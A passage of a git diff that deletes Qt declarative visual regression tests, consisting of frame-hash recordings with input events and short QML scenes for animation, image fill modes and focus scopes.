- } - Frame { - msec: 448 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 464 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 480 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 496 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 512 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 528 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 544 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 560 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 576 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 592 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 608 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 624 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 640 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 656 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 672 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 688 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 704 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 720 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 736 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 752 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 768 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 784 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 800 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 816 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 832 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 848 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 864 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 880 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 896 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 912 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 928 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 944 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 960 - image: "scriptAction.0.png" - } - Frame { - msec: 976 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 992 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1008 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1024 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1040 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1056 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1072 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1088 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Mouse { - type: 2 - button: 1 - buttons: 1 - x: 146; y: 259 - modifiers: 0 - sendToViewport: true - } - Frame { - msec: 1104 - hash: "55b713dcb7c810bf126e06cc97d26d24" - } - Frame { - msec: 1120 - hash: "9850cd8ed4643900409d1a87ef0bc4cf" - } - Frame { - msec: 1136 - hash: "1cf03396b01e931e4e7e8e7e57e19c5f" - } - Frame { - msec: 1152 - hash: "25fe648b85ec2d82621853dcbdbf695a" - } - Frame { - msec: 1168 - hash: "1ca701e56fe387d5849f6933eb53aee9" - } - Frame { - msec: 1184 - hash: "b39ecb792659a053a8985e2a849d6d51" - } - Frame { - msec: 1200 - hash: "9a783432a054beec81cc5687f75a36dc" - } - Frame { - msec: 1216 - hash: "edbd222d7ba6c6f819ded45fe316d461" - } - Frame { - msec: 1232 - hash: "eaf20159c4b90f90872bbd514d3a0cec" - } - Frame { - msec: 1248 - hash: "964807dd9b91e765577a773ef1ce2593" - } - Frame { - msec: 1264 - hash: "16e12026ab14657b0f36b8315684455d" - } - Frame { - msec: 1280 - hash: "d001a6b2fec3c66baaa45d9ff93b3f63" - } - Frame { - msec: 1296 - hash: "fef11eb5f635bc11cd9679b7213b3b92" - } - Frame { - msec: 1312 - hash: "0a0cd5f5004048d88712cfe6943470c0" - } - Frame { - msec: 1328 - hash: "0d83178afdae5feaa9915d56c24373ad" - } - Frame { - msec: 1344 - hash: "0a9e6e0b7b23ce93dc4e1f886cf9c7d1" - } - Frame { - msec: 1360 - hash: "f3199d0c860f1236e0b9472bef8785bc" - } - Frame { - msec: 1376 - hash: "f3199d0c860f1236e0b9472bef8785bc" - } - Frame { - msec: 1392 - hash: "32ccdab249268b01d9f1658a736052f1" - } - Frame { - msec: 1408 - hash: "dc98f32a1a2d6e74998123b5232107b0" - } - Frame { - msec: 1424 - hash: "db3010ef552146df938c237f6c92bff5" - } - Frame { - msec: 1440 - hash: "101e8595d0301e88376ec52ba9361f84" - } - Frame { - msec: 1456 - hash: "119d548c59baa7e47266d2ceca663288" - } - Frame { - msec: 1472 - hash: "f141fafe102a0b9a2bf33e8c3fc800ff" - } - Frame { - msec: 1488 - hash: "b01f9ca8d4fbff17b3d48c70898a044d" - } - Frame { - msec: 1504 - hash: "cf67954a2d1b22e8d2cfdc26419bafb8" - } - Frame { - msec: 1520 - hash: "7680b2b5a63dea13d733947297e01355" - } - Frame { - msec: 1536 - hash: "af1c017acf6b3c8cff86c9ceb60db3cb" - } - Frame { - msec: 1552 - hash: "0b23ec51f71fddae5e2238ab5754f1db" - } - Frame { - msec: 1568 - hash: "976643961ecbdc86335180ba812b874e" - } - Frame { - msec: 1584 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1600 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1616 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1632 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1648 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1664 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1680 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1696 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1712 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1728 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1744 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1760 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1776 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1792 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1808 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1824 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1840 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1856 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1872 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Key { - type: 6 - key: 16777249 - modifiers: 67108864 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 1888 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1904 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1920 - image: "scriptAction.1.png" - } - Frame { - msec: 1936 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1952 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1968 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 1984 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2000 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2016 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2032 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } - Frame { - msec: 2048 - hash: "aeed60899abb6c486a5b1df81f9a0224" - } -} diff --git a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml b/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml deleted file mode 100644 index fc9ccc8..0000000 --- a/tests/auto/declarative/visual/animation/scriptAction/scriptAction.qml +++ /dev/null @@ -1,35 +0,0 @@ -import Qt 4.6 - -Rectangle { - width: 400; height: 400 - Rectangle { - id: myRect - width: 100; height: 100 - color: "red" - } - MouseArea { - id: clickable - anchors.fill: parent - } - - states: State { - name: "state1" - when: clickable.pressed - PropertyChanges { - target: myRect - x: 50; y: 50 - } - StateChangeScript { - name: "setColor" - script: myRect.color = "blue" - } - } - - transitions: Transition { - SequentialAnimation { - NumberAnimation { properties: "x"; easing.type: "InOutQuad" } - ScriptAction { scriptName: "setColor" } - NumberAnimation { properties: "y"; easing.type: "InOutQuad" } - } - } -} diff --git a/tests/auto/declarative/visual/fillmode/data/fillmode.0.png b/tests/auto/declarative/visual/fillmode/data/fillmode.0.png deleted file mode 100644 index 9c9ceae..0000000 Binary files a/tests/auto/declarative/visual/fillmode/data/fillmode.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/fillmode/data/fillmode.qml b/tests/auto/declarative/visual/fillmode/data/fillmode.qml deleted file mode 100644 index 7ac6f51..0000000 --- a/tests/auto/declarative/visual/fillmode/data/fillmode.qml +++ /dev/null @@ -1,279 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 32 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 48 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 64 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 80 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 96 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 112 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 128 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 144 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 160 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 176 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 192 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 208 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 224 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 240 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 256 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 272 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 288 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 304 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 320 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 336 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 352 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 368 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 384 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 400 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 416 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 432 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 448 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 464 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 480 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 496 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 512 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 528 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 544 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 560 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 576 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 592 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 608 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 624 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 640 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 656 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 672 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 688 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 704 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Key { - type: 6 - key: 16777249 - modifiers: 0 - text: "" - autorep: false - count: 1 - } - Frame { - msec: 720 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 736 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 752 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 768 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 784 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 800 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 816 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 832 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 848 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 864 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 880 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 896 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 912 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 928 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 944 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 960 - image: "fillmode.0.png" - } - Frame { - msec: 976 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 992 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 1008 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 1024 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 1040 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } - Frame { - msec: 1056 - hash: "c8cb8d51ca04231dc272133faaf2fb6d" - } -} diff --git a/tests/auto/declarative/visual/fillmode/face.png b/tests/auto/declarative/visual/fillmode/face.png deleted file mode 100644 index 9623b1a..0000000 Binary files a/tests/auto/declarative/visual/fillmode/face.png and /dev/null differ diff --git a/tests/auto/declarative/visual/fillmode/fillmode.qml b/tests/auto/declarative/visual/fillmode/fillmode.qml deleted file mode 100644 index 8450bf2..0000000 --- a/tests/auto/declarative/visual/fillmode/fillmode.qml +++ /dev/null @@ -1,16 +0,0 @@ -import Qt 4.6 - -Rectangle { - id: screen; width: 750; height: 600; color: "gray" - property string source: "face.png" - - Grid { - columns: 3 - Image { width: 250; height: 300; source: screen.source; fillMode: Image.Stretch } - Image { width: 250; height: 300; source: screen.source; fillMode: Image.PreserveAspectFit; smooth: true } - Image { width: 250; height: 300; source: screen.source; fillMode: Image.PreserveAspectCrop } - Image { width: 250; height: 300; source: screen.source; fillMode: Image.Tile; smooth: true } - Image { width: 250; height: 300; source: screen.source; fillMode: Image.TileHorizontally } - Image { width: 250; height: 300; source: screen.source; fillMode: Image.TileVertically } - } -} diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test.0.png b/tests/auto/declarative/visual/focusscope/data-MAC/test.0.png deleted file mode 100644 index 0f33d99..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test.0.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test.1.png b/tests/auto/declarative/visual/focusscope/data-MAC/test.1.png deleted file mode 100644 index 0f33d99..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test.1.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test.2.png b/tests/auto/declarative/visual/focusscope/data-MAC/test.2.png deleted file mode 100644 index 06a3dbd..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test.2.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test.3.png b/tests/auto/declarative/visual/focusscope/data-MAC/test.3.png deleted file mode 100644 index e0d02d6..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test.3.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test.4.png b/tests/auto/declarative/visual/focusscope/data-MAC/test.4.png deleted file mode 100644 index e0d02d6..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test.4.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test.5.png b/tests/auto/declarative/visual/focusscope/data-MAC/test.5.png deleted file mode 100644 index e0d02d6..0000000 Binary files a/tests/auto/declarative/visual/focusscope/data-MAC/test.5.png and /dev/null differ diff --git a/tests/auto/declarative/visual/focusscope/data-MAC/test.qml b/tests/auto/declarative/visual/focusscope/data-MAC/test.qml deleted file mode 100644 index 44900fc..0000000 --- a/tests/auto/declarative/visual/focusscope/data-MAC/test.qml +++ /dev/null @@ -1,1599 +0,0 @@ -import Qt.VisualTest 4.6 - -VisualTest { - Frame { - msec: 0 - } - Frame { - msec: 16 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 32 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 48 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 64 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 80 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 96 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 112 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 128 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 144 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 160 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 176 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 192 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 208 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 224 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 240 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 256 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 272 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 288 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 304 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 320 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 336 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 352 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 368 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 384 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 400 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 416 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 432 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 448 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 464 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 480 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 496 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 512 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 528 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 544 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 560 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 576 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 592 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 608 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 624 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 640 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 656 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 672 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 688 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 704 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 720 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 736 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 752 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 768 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 784 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 800 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 816 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 832 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 848 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 864 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 880 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 896 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 912 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 928 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 944 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 960 - image: "test.0.png" - } - Frame { - msec: 976 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 992 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1008 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1024 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1040 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1056 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1072 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1088 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1104 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1120 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1136 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1152 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1168 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1184 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1200 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1216 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1232 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1248 - hash: "70f4ce2881f2340167f314b49716707a" - } - Key { - type: 6 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1264 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1280 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1296 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1312 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1328 - hash: "715a587be7a5803af2827e882236d187" - } - Key { - type: 7 - key: 16777236 - modifiers: 536870912 - text: "1d" - autorep: false - count: 1 - } - Frame { - msec: 1344 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1360 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1376 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1392 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1408 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1424 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1440 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1456 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1472 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1488 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1504 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1520 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1536 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1552 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1568 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1584 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1600 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1616 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1632 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1648 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1664 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1680 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1696 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1712 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1728 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1744 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1760 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1776 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1792 - hash: "715a587be7a5803af2827e882236d187" - } - Frame { - msec: 1808 - hash: "715a587be7a5803af2827e882236d187" - } - Key { - type: 6 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 1824 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1840 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1856 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1872 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1888 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1904 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1920 - image: "test.1.png" - } - Frame { - msec: 1936 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1952 - hash: "70f4ce2881f2340167f314b49716707a" - } - Key { - type: 7 - key: 16777234 - modifiers: 536870912 - text: "1c" - autorep: false - count: 1 - } - Frame { - msec: 1968 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 1984 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2000 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2016 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2032 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2048 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2064 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2080 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2096 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2112 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2128 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2144 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2160 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2176 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2192 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2208 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2224 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2240 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2256 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2272 - hash: "70f4ce2881f2340167f314b49716707a" - } - Frame { - msec: 2288 - hash: 